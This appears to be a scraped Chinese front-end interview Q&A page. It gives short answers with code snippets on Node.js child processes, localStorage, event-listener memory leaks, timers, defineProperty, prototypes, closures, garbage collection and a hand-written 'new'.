Node.js 用 child_process 模块创建子进程,用 cluster 模块做多核利用:child_process:spawn(command, args):启动一个新进程,返回流(适合长时间运行、大量输出的进程)exec(command, callback):启动 shell 执行命令,缓存输出后回调(适合短命令)fork(modulePath):特殊 spawn,创建 Node.js 子进程,自带 IPC 通道cluster:基于 fork 封装,能创建多个共享同一端口的 worker 进程(常见于 HTTP 服务利用多核)。进程通讯:fork 创建的父子进程间有 IPC 通道,用 process.send(msg) 和 process.on('message') 通信。底层实现:libuv 管道(pipe)。追问cluster 怎么实现多进程共享端口?主进程监听端口,将接收到的连接通过 Round-Robin 分发给 worker 进程。worker 不直接监听端口,而是接收主进程分配的连接句柄。Linux 上也可用 SO_REUSEPORT 内核级别的分发。fork 和 spawn 的区别?fork 是 spawn 的特殊版——专门 fork Node.js 进程,自动建立 IPC 通道。spawn 启动任何命令,流式处理输出,适合与外部程序交互。PM2 的 cluster 模式和 fork 模式有什么区别?cluster:PM2 用 Node.js cluster 模块,多实例共享端口,自动负载均衡fork:PM2 只是用 child_process.fork 启动多个实例,需要不同端口或用 Nginx 做反向代理
前端阅读 675月27日 01:05

localStorage 对象有哪些 API?

localStorage 是浏览器提供的持久化键值存储,数据不随页面关闭而清除。API 一共就 5 个方法和 1 个属性:setItem(key, value):存数据。key 和 value 都是字符串。存对象需要用 JSON.stringifygetItem(key):取数据。key 不存在返回 nullremoveItem(key):删单个 keyclear():清空所有数据(注意:清的是当前域名下的所有 localStorage)key(index):按索引获取 key 名,用于遍历length:只读属性,返回存储的条目数存储对象的正确姿势:localStorage.setItem('user', JSON.stringify({ name: 'John', age: 30 }));const user = JSON.parse(localStorage.getItem('user'));追问localStorage 和 sessionStorage 有什么区别?生命周期:localStorage 永久存储,sessionStorage 关闭标签页就清除作用域:两者都是按域名隔离,但 sessionStorage 额外按标签页隔离API 完全一致localStorage 有什么限制?容量 5-10MB(不同浏览器不同)只能存字符串同步 API,大容量读写会阻塞主线程不能存敏感信息(明文存储,XSS 可直接读取)不支持过期时间,需要自己实现Cookie 和 localStorage 怎么选?需要随 HTTP 请求自动发送(如身份认证)→ Cookie纯前端存储、不随请求发送 → localStorage需要服务端可读 → Cookie(设置 HttpOnly 防止 XSS 读取)容量超过 4KB → localStorage(Cookie 限制 4KB)
前端阅读 265月27日 01:05

当添加原生事件不移除时,为什么会出现内存泄露?

核心原因:事件监听器持有 DOM 元素的引用,导致 DOM 元素被移除后无法被 GC 回收。具体链路:button.addEventListener('click', handler) 时,浏览器内部建立了 DOM元素 → handler 的引用关系你用 button.remove() 从 DOM 树移除按钮,但事件系统仍然保留着 handler 对 button 的引用如果 handler 又是闭包,引用着外层变量 → 整个闭包链上的变量都无法 GC多次重复后,内存中堆满了"已从 DOM 移出但无法回收的元素和函数",这就是内存泄漏解决办法:移除 DOM 元素前调用 removeEventListener。button.removeEventListener('click', handler);button.remove();或者在不需要关心个别元素时,用事件委托——把事件绑在父元素上。追问现代浏览器还会因为不移除事件导致泄漏吗?IE 时代这个问题最严重(IE 的 JS 引擎和 DOM 使用不同的 GC,循环引用是死穴)。现代浏览器的标记清除 GC 大部分循环引用能处理,但事件监听器 + 闭包的组合仍然会让本应被回收的对象变成"可达"——技术上不是传统意义的泄漏,但效果一样:内存释放不了。事件委托能解决这个问题吗?能。事件委托只绑一个监听器在父元素上,子元素增删都不需要管理事件。而且性能更好(减少监听器数量)。唯一注意:focus、blur、mouseenter、mouseleave 这些不冒泡的事件不能用委托。怎么在 DevTools 中排查内存泄漏?Performance 面板录一段操作,看 JS Heap 是否持续上升不回落 → Memory 面板取 Heap Snapshot,对比操作前后,看 Detached DOM 节点数量和 @ 引用关系。
前端阅读 345月27日 01:05

JavaScript 定时器为什么是不精确的?

setTimeout 和 setInterval 的执行时间不是精确的,根本原因就一条:JavaScript 是单线程的,定时器回调必须等主线程空闲才能执行。比如你设置 setTimeout(fn, 10),但此时主线程有个耗时 100ms 的计算任务在执行——fn 最早也要等 100ms 后才能跑,10ms 只是"最早执行时间",不是"准时执行时间"。其他影响因素:浏览器最小延迟:嵌套 5 次以上的 setTimeout 强制最小 4ms 间隔,后台标签页可能被降低到 1000ms事件循环优先级:微任务(Promise)比宏任务(定时器)优先执行GC 暂停:垃圾回收会短暂阻塞主线程追问需要精确计时怎么办?短时间精度:用 performance.now() 获取微秒级时间戳,自己在 requestAnimationFrame 里判断时间长时间精度:用 Web Worker(独立线程,不会被主线程阻塞),Worker 里用 setTimeout 相对更准音频场景:用 AudioContext.currentTime,这个不受主线程影响requestAnimationFrame 比 setInterval 更精确吗?rAF 本身也不是计时工具——它是"在浏览器下一次重绘前执行",频率取决于刷新率(60Hz 约 16.67ms)。它的优势是自动与渲染同步,不会做无效的更新。但作为定时器,它也有偏差。
前端阅读 225月27日 01:05

什么是 defineProperty 方法?什么时候需要用到它?

Object.defineProperty(obj, prop, descriptor) 让你精确控制对象属性的行为——是否可写、可枚举、可配置,还能定义 getter/setter。const obj = {};Object.defineProperty(obj, 'name', { value: '张三', writable: false, // 不可修改 enumerable: true, // for...in 可遍历 configurable: false // 不可删除、不可再次配置});核心价值在于拦截属性的读写。Vue 2 的响应式系统就是用 Object.defineProperty 劫持对象属性的 getter/setter,才能在数据变化时通知视图更新。追问defineProperty 和直接赋值有什么区别?直接赋值 obj.x = 1 创建的属性,writable、enumerable、configurable 默认都是 true,get/set 是 undefined。defineProperty 创建的属性,不显式指定的描述符默认都是 false。Vue 3 为什么换成 Proxy?defineProperty 有硬伤:无法检测属性的添加/删除(所以 Vue 2 需要 $set、$delete),对数组索引和 length 的拦截有坑。Proxy 能拦截 13 种操作,包括属性增删、in、delete、apply,不需要遍历对象属性递归劫持。什么场景下需要把属性设成不可枚举?给原型添加方法时(不想污染 for...in)框架内部属性(如 Vue 的 __ob__)任何不希望被 JSON.stringify 序列化或被 Object.keys 返回的属性
前端阅读 02月7日 13:22

JavaScript中处理异常的方法有哪些?

在JavaScript中处理异常的主要方法是使用try、catch、finally和throw关键字:try:try块包裹可能会引发错误的代码。如果在try块内的代码抛出错误,控制会转移到紧接着的catch块。catch:当try块中的代码抛出异常时,catch块会被执行。catch块可以接受一个参数,通常表示抛出的错误对象。finally:无论是否发生异常,finally块总是会执行。这对于清理资源或执行必要的结束步骤非常有用。throw:throw关键字用于抛出自定义的异常。可以抛出一个错误对象或其他数据类型来表示错误。除了这些基本的结构,JavaScript还支持使用Error对象及其子类型(如SyntaxError、TypeError等)来提供关于错误的更多信息。还可以使用Promise的.catch()方法来处理异步代码中可能出现的异常。
前端阅读 1662024年8月5日 12:52

script 标签的 defer 和 async 有什么区别?

当您在 HTML 文档中使用 <script> 标签引入 JavaScript 时,defer 和 async 属性可以控制脚本的加载和执行方式,它们之间的区别主要在于脚本加载的时间以及执行的时机。defer 属性使用 defer 属性的 <script> 标签会让脚本在文档解析期间异步下载,但是会延迟到整个文档解析完毕之后、DOMContentLoaded 事件触发之前执行。这意味着带有 defer 的脚本总是在文档解析完成之后执行,保证了执行时 DOM 已经完全构建好。例子:<script src="example.js" defer></script>如果您有多个带有 defer 属性的脚本,它们将按照在文档中出现的顺序执行,即便有些脚本可能会比其他脚本更早下载完成。async 属性而 async 属性也允许脚本在文档解析时异步下载,但是它一旦下载完成就会立即执行,这可能会在文档的其余部分尚未解析完毕时发生。因此,使用 async 的脚本不能保证按照在页面中出现的顺序执行,也无法保证 DOM 完全构建完成。例子:<script src="example.js" async></script>async 适用于那些不依赖于其他脚本且不依赖于 DOM 的脚本,例如,广告加载或者埋点脚本。总结defer 确保脚本在文档完全解析和 DOM 构建完成后,但在 DOMContentLoaded 事件之前执行。async 确保脚本在下载完成后尽快执行,但可能会打断文档的解析过程。没有这两个属性的 <script> 标签会立即下载并阻塞文档解析直到脚本执行完成。在实际应用中,选择 defer 或 async 取决于脚本对文档解析的依赖性,以及脚本之间的依赖关系。如果您需要确保脚本按照顺序执行,并且在 DOM 完全构建后执行,那么 defer 是更好的选择。如果脚本的执行顺序不重要,并且想尽快获取并执行脚本,可以使用 async。
前端阅读 1622024年8月5日 12:52

javascript 中垃圾回收的方法有哪些?

JavaScript中的垃圾回收(garbage collection)是一种自动内存管理机制,它帮助开发者不需要手动释放分配的内存。在JavaScript中,垃圾回收主要采用了以下几种方法:1. 标记清除(Mark and Sweep)这是最常见的垃圾回收算法。当变量进入环境时,就“标记”这个变量为“进入环境”。当变量离开环境时,则“标记”这个变量为“离开环境”。垃圾收集器会定期运行,它会检查所有的变量,以及它们引用的其他变量是否还在环境中。如果一个变量已经不再环境中,且没有任何其他变量引用它,那么这个变量占用的内存就会被回收。例子:function processData() { var data = { /* 大量数据 */ }; // 使用data进行处理}processData();// processData执行完毕后,data变量离开环境,变成无法访问的状态,会被标记为可回收。2. 引用计数(Reference Counting)引用计数是另一种垃圾回收机制。在这个系统中,每一个值都有一个“引用数”,表示有多少变量或资源引用这个值。如果引用数变为0,则表示该值不再需要,其占用的内存可以被回收。这种方法的一个问题是循环引用:如果两个对象互相引用,即便它们已经不再需要,它们的引用数也不会降到0,导致内存无法被回收。例子:function referenceCycle() { var objectA = {}; var objectB = {}; objectA.other = objectB; objectB.other = objectA;}referenceCycle();// 即使referenceCycle函数执行结束,objectA和objectB因为相互引用,它们的引用数都不为0,造成内存泄漏。3. 分代收集(Generational Collection)分代收集是基于对象存活时间的假设,将对象分为两组:“新生代”和“老生代”。新创建的对象属于新生代,对象如果存活足够长的时间,就会被移动到老生代。通常新生代使用标记-复制(mark-copy)算法,老生代使用标记-清除(mark-sweep)或标记-整理(mark-compact)算法。4. 标记-整理(Mark-Compact)这种方法是对标记-清除的改进。在标记阶段,标记所有活动对象,然后在整理阶段,将所有活动的对象移动到内存的一端,然后清理掉边界之外的内存。5. 增量收集(Incremental Collection)增量收集是将垃圾回收分成小片段执行,每次只处理一部分对象,然后暂停,让程序执行。这种方式可以减少垃圾收集过程中的停顿时间。6. 闲时收集(Idle-time Collection)某些JavaScript引擎会利用CPU空闲时间来执行垃圾回收的工作,以避免影响到程序的执行效率。
前端阅读 1122024年8月5日 12:52

JavaScript 中对象 instanceOf 属性的原理是什么?

instanceof 是 JavaScript 中的一个二元操作符,用于检测构造函数的 prototype 属性是否出现在某个实例对象的原型链上。当我们使用语法 object instanceof Constructor 时,instanceof 会沿着 object 的原型链向上查找,检查是否有原型对象等于 Constructor.prototype。如果找到了这样的原型,instanceof 就会返回 true;如果一直查找到原型链的顶端(也就是 null),依然没有找到,就会返回 false。原型链是 JavaScript 中实现继承的一种机制。每个对象都有一个内部链接指向另一个对象,即它的原型。那个原型对象也有自己的原型,以此类推,直到一个对象的原型为 null。常见的 Object.prototype 就是很多对象原型链的终点。这里举一个例子来说明 instanceof 的工作原理:function Car(make, model) { this.make = make; this.model = model;}const myCar = new Car('Toyota', 'Corolla');console.log(myCar instanceof Car); // 输出:trueconsole.log(myCar instanceof Object); // 输出:true在这个例子中,myCar instanceof Car 返回 true,因为 Car.prototype 在 myCar 的原型链上。myCar instanceof Object 也返回 true,尽管我们没有直接设置 myCar 的原型为 Object.prototype。但由于 JavaScript 中几乎所有对象的原型链的最终都会指向 Object.prototype,因此任何对象基本上都是 Object 的一个实例。总的来说,instanceof 操作符提供了一种检查对象类型的方法,并且能够识别对象继承关系中的原型。
前端阅读 1422024年8月5日 12:52

JavaScript 中的原型&原型链是怎么工作的?

JavaScript中的原型(prototype)和原型链(prototype chain)是其面向对象编程的基础。这两个概念是理解JavaScript中对象之间的关系和继承机制非常关键的部分。原型(Prototype)在JavaScript中,每一个函数创建时都会有一个名为 prototype的属性,这个属性是一个对象,它包含了可以由特定类型的所有实例共享的属性和方法。这意味着你可以使用原型来添加或者分享功能,而不需要在每个实例中重新定义这些功能。例如,假设我们定义了一个构造函数:function Person(name) { this.name = name;}Person.prototype.sayName = function() { console.log(this.name);};以下是通过 Person构造函数创建的两个实例:var person1 = new Person("Alice");var person2 = new Person("Bob");这里的 person1和 person2都没有自己的 sayName方法。当你调用 person1.sayName()时,JavaScript会查找 person1是否有这个方法。由于 person1没有,它会通过原型链查找 Person.prototype是否有 sayName方法。这样,person1和 person2实际上共享了 Person.prototype上的 sayName方法。原型链(Prototype Chain)原型链是JavaScript实现继承的机制。每个对象都有一个内部链接到另一个对象,即它的原型。这个原型对象本身也有一个原型,以此类推,直到某个对象的原型为 null。按照规范,null的原型没有原型,这通常被视为原型链的末端。当你尝试访问一个对象的属性时,如果该对象本身没有这个属性,JavaScript引擎会沿着原型链向上查找,直到找到这个属性或者到达原型链的末端。继续上面的例子,我们可以看到原型链是如何工作的:person1.sayName(); // 输出: Alice首先,JavaScript引擎检查 person1自身是否有 sayName属性。发现 person1没有,引擎接着检查 person1的原型(即 Person.prototype)。Person.prototype有 sayName方法,所以这个方法被调用。如果我们有一个对象的原型是另一个对象,那么第二个对象的属性和方法也可以被第一个对象访问。这个过程可以一直持续下去,形成了一个“链”。通过原型链实现继承我们可以使用原型链来实现继承。例如,如果我们有一个 Employee构造函数,它应该继承 Person:function Employee(name, title) { Person.call(this, name); // 继承属性 this.title = title;}Employee.prototype = Object.create(Person.prototype);Employee.prototype.constructor = Employee;Employee.prototype.sayTitle = function() { console.log(this.title);};var employee1 = new Employee("Charlie", "Developer");employee1.sayName(); // 输出: Charlieemployee1.sayTitle(); // 输出: Developer在这里,Employee.prototype被设置为一个新对象,这个新对象的原型是 Person.prototype。这样,Employee的所有实例都继承了 Person的方法。我们还修正了 Employee.prototype.constructor属性,确保它指向正确的构造函数。通过上面的代码,我们创建了一个 Employee的实例 employee1,它能够调用继承自 Person的 sayName方法,同时还有自己特有的 sayTitle方法。
前端阅读 1572024年8月5日 12:52

什么是闭包?什么场景需要使用闭包?

什么是闭包?在计算机科学中,闭包(Closure)是指一个函数绑定了其外部作用域的变量,因此这个函数可以在其定义环境之外被调用时仍能访问到那些绑定的变量。简单来说,闭包让你可以从一个函数内部访问到其外部函数作用域的变量。闭包的特点是:函数嵌套:通常闭包包含一个函数内定义的另一个函数。环境捕获:内部函数会捕获定义它的外部函数的作用域中的变量。作用域链:内部函数可以访问外部函数的变量,即使外部函数已经执行完毕。在 JavaScript 中,闭包是一种非常常见和强大的特性,因为 JavaScript 是词法作用域的语言,函数的作用域在函数定义时就已经确定了。什么场景需要使用闭包?闭包通常用于以下几种场景:数据封装和私有化:使用闭包可以创建私有变量,这些变量只能被特定的函数访问和修改,从而模拟出类似私有属性的效果。这在模块模式中尤其常见。例子:一个简单的计数器函数,利用闭包可以隐藏计数器的值,只能通过特定的函数来操作。 function createCounter() { let count = 0; return { increment: function() { count += 1; }, decrement: function() { count -= 1; }, getCount: function() { return count; } }; } const counter = createCounter(); counter.increment(); console.log(counter.getCount()); // 输出 1回调函数:在异步编程中,闭包常用于回调函数中,以确保异步操作完成时能够访问到定义回调时的环境状态。例子:在一个异步请求中使用闭包记住请求开始时的状态。 function fetchData(url, callback) { // 假设这里发起了一个异步请求 setTimeout(() => { // 模拟异步操作 const data = 'fetched data'; // 假设这是响应数据 callback(data); }, 1000); } function requestData() { const requestTimestamp = Date.now(); fetchData('https://example.com/data', function(data) { console.log(`Request took ${Date.now() - requestTimestamp} ms`); console.log(`Data received: ${data}`); }); } requestData();函数工厂:闭包可以用来创建可以记住和操作环境状态的函数,这些函数根据不同的参数创建出来,具有不同的行为。例子:根据不同的倍数创建乘法函数。 function createMultiplier(multiplier) { return function(x) { return x * multiplier; }; } const double = createMultiplier(2); const triple = createMultiplier(3); console.log(double(5)); // 输出 10 console.log(triple(5)); // 输出 15节流和防抖:在 JavaScript 的 DOM 事件处理中,为了优化性能,防止过多的事件处理函数被频繁触发,会使用闭包来实现函数节流(throttle)和防抖(debounce)。例子:使用防抖确保事件处理函数在特定时间内只执行一次。
前端阅读 1392024年8月5日 12:50

封装一个可以设置过期时间的localStorage存储函数

实现一个具有过期时间功能的localStorage存储函数,需要定义一个函数,它会将数据和过期时间一起存储在localStorage中。 下面是一个简单的实现示例:/** * 设置带过期时间的localStorage * @param {string} key - 存储的键名 * @param {*} value - 要存储的值,可以是任何可序列化的数据 * @param {number} ttl - 过期时间(毫秒) */function setLocalStorageWithExpiry(key, value, ttl) { const now = new Date(); // 创建一个包含数据和过期时间的对象 const item = { value: value, expiry: now.getTime() + ttl, }; // 将对象序列化之后存储到localStorage中 localStorage.setItem(key, JSON.stringify(item));}/** * 获取localStorage存储的值 * @param {string} key - 存储的键名 * @returns {*} 存储的值或者当值不存在或过期时返回null */function getLocalStorageWithExpiry(key) { const itemStr = localStorage.getItem(key); // 如果没有找到对应的存储项 if (!itemStr) { return null; } const item = JSON.parse(itemStr); const now = new Date(); // 检查过期时间 if (now.getTime() > item.expiry) { // 如果已过期,删除存储并返回null localStorage.removeItem(key); return null; } // 如果未过期,返回存储的值 return item.value;}// 示例使用// 存储一个名为 'myData' 的数据,过期时间为1小时(3600000毫秒)setLocalStorageWithExpiry('myData', { a: 1, b: 2 }, 3600000);// 获取存储的数据const myData = getLocalStorageWithExpiry('myData');console.log(myData); // 如果还未过期,则会打印出存储的对象 { a: 1, b: 2 }在这个封装的函数中,我们通过 setLocalStorageWithExpiry函数存储数据的时候,会额外添加一个过期时间戳到对象中,并将该对象序列化后保存在localStorage里。当通过 getLocalStorageWithExpiry函数获取数据的时候,我们会先检查当前时间是否已经超过了存储时设置的过期时间戳,如果已经过期,则从localStorage中删除该项,并返回 null;如果未过期,则返回保存的值。
前端阅读 1032024年8月5日 12:48

手写 javascript 中 new 的实现过程

当我们在JavaScript中使用new操作符创建一个新对象时,实际上会发生以下几个步骤:创建一个新对象。 使用new操作符时,JavaScript会自动为我们创建一个新的空对象。设置原型链。 新对象内部的[[Prototype]](或者__proto__)属性会被赋值为构造函数的prototype属性,这样新对象就可以访问到构造函数原型上的属性和方法。绑定this并执行构造函数。 构造函数内部的this将会被绑定到新创建的对象上,然后执行构造函数中的代码,这样新对象就可以具有构造函数中定义的属性和方法。返回新对象。 如果构造函数返回的是一个对象,则返回该对象;如果没有返回对象或者返回的不是一个对象,那么将返回步骤1创建的新对象。如果我们要手写一个new的实现,可以定义一个函数来模拟这个过程。以下是一个例子:function myNew(constructor, ...args) { // 步骤1:创建一个空对象,并设置原型链 const obj = Object.create(constructor.prototype); // 步骤2:将构造函数的this绑定到新对象上,并执行构造函数 const result = constructor.apply(obj, args); // 步骤3:根据返回值判断 return result instanceof Object ? result : obj;}// 测试用例function Person(name, age) { this.name = name; this.age = age; this.sayHello = function() { console.log(`Hello, my name is ${this.name} and I am ${this.age} years old.`); };}// 使用自定义的myNew来替代new操作符const person = myNew(Person, 'Alice', 30);person.sayHello(); // 输出: Hello, my name is Alice and I am 30 years old.以上代码中,myNew函数模拟了new操作符的所有关键步骤,能够模拟出通过new操作符创建对象的效果。